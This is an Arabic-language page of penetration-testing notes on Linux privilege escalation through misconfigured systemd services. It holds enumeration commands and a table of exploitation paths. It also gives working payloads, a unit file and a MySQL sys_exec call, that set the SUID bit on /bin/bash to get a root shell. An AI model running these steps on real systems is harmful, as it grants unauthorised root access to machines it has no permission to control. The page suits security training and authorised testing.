> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/services.md).

# الخدمات وSystemd

تتحول أخطاء تهيئة الخدمات إلى مسارات تصعيد امتيازات عندما يتمكن مستخدم منخفض الامتيازات من تعديل ملف خدمة، أو استبدال ملف تنفيذي للخدمة، أو التحكم في وسيطات الخدمة، أو الكتابة داخل دليل يستخدمه خادم يعمل بصلاحيات root.

## المنهجية

* حدِّد الخدمات التي تعمل بصلاحيات root.
* تحقّق من ملفات الوحدات، `ExecStart` والملفات التنفيذية وملفات البيئة ومجلدات العمل.
* ابحث عن ملفات خدمة قابلة للكتابة أو ملفات تنفيذية قابلة للكتابة تستخدمها الخدمات المفعلة.
* تأكد مما إذا كان بإمكانك إعادة تشغيل الخدمة، أو تشغيلها بشكل غير مباشر، أو الانتظار حتى إعادة التشغيل/المؤقت.

## فحوصات سريعة

```bash
ps aux
ss -tulpen 2>/dev/null
netstat -tuln 2>/dev/null
service --status-all 2>/dev/null
systemctl list-unit-files --type=service
systemctl list-units --type=service
service service_name status 2>/dev/null
```

## ملفات خدمة قابلة للكتابة

```bash
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
find /etc/systemd -writable 2>/dev/null
find /lib/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
```

## ملفات تنفيذية للخدمات قابلة للكتابة

تتحقق هذه الحلقة من الخدمات المفعلة وتبرز `ExecStart` المسارات التي لا تبدو مملوكةً لـ root. تعامل مع المخرجات كفرز أولي، ثم تحقّق منها يدويًا.

```bash
for SRV in $(systemctl list-unit-files --type=service | awk '/enabled/ {print $1}'); do
  EXEC=$(systemctl show -p ExecStart "$SRV" | cut -d '=' -f 2 | awk '{print $1}')
  [ -n "$EXEC" ] && ls -la "$EXEC" 2>/dev/null | grep -v ' root root '
done
```

## أفكار للاستغلال

| الشرط                                      | مسار الاستغلال                                                                                |
| ------------------------------------------ | --------------------------------------------------------------------------------------------- |
| قابل للكتابة `ExecStart` ملف تنفيذي        | استبدل الملف التنفيذي بحمولة، ثم أعد التشغيل أو انتظر تنفيذ الخدمة.                           |
| ملف وحدة قابل للكتابة                      | غيّر `ExecStart` لتشغيل أمر مُتحكَّم به.                                                      |
| ملف بيئة قابل للكتابة                      | أدرج خيارات أو مسارات تستهلكها الخدمة.                                                        |
| مجلد عمل قابل للكتابة                      | استغل المسارات النسبية أو الملحقات أو السجلات أو المقابس أو الملفات المؤقتة.                  |
| تعمل الخدمة بصلاحيات root وتُحلِّل الملفات | تحقّق من أخطاء المُحلِّل، وحقن الأوامر، وعمليات التضمين غير الآمنة، والتهيئة القابلة للكتابة. |

مثال على حمولة وحدة لمختبر:

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
```

أعد التحميل وابدأ فقط عندما تكون لديك إذن أو مسار اختبار مُصرَّح به ومؤكد:

```bash
systemctl daemon-reload
systemctl start vulnerable.service
/bin/bash -p
```

## تشغيل MySQL بصلاحيات root

إذا كان MySQL أو MariaDB يعمل بصلاحيات root وكانت إمكانية تنفيذ UDF/دوال خطرة متاحة، فقد يتحول ذلك إلى مسار مباشر إلى root.

```bash
ps aux | grep -i mysql
mysql -u root -p
```

داخل MySQL، وبناءً على الملحقات/الوظائف المتاحة:

```sql
SELECT sys_exec('chmod +s /bin/bash');
```

ثم:

```bash
/bin/bash -p
```

يعتمد ذلك بشدة على البيئة. تأكد من مستخدم الخادم الشبح، وتوافر الملحقات، وصلاحيات قاعدة البيانات الدقيقة قبل الاعتماد عليه.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/services.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
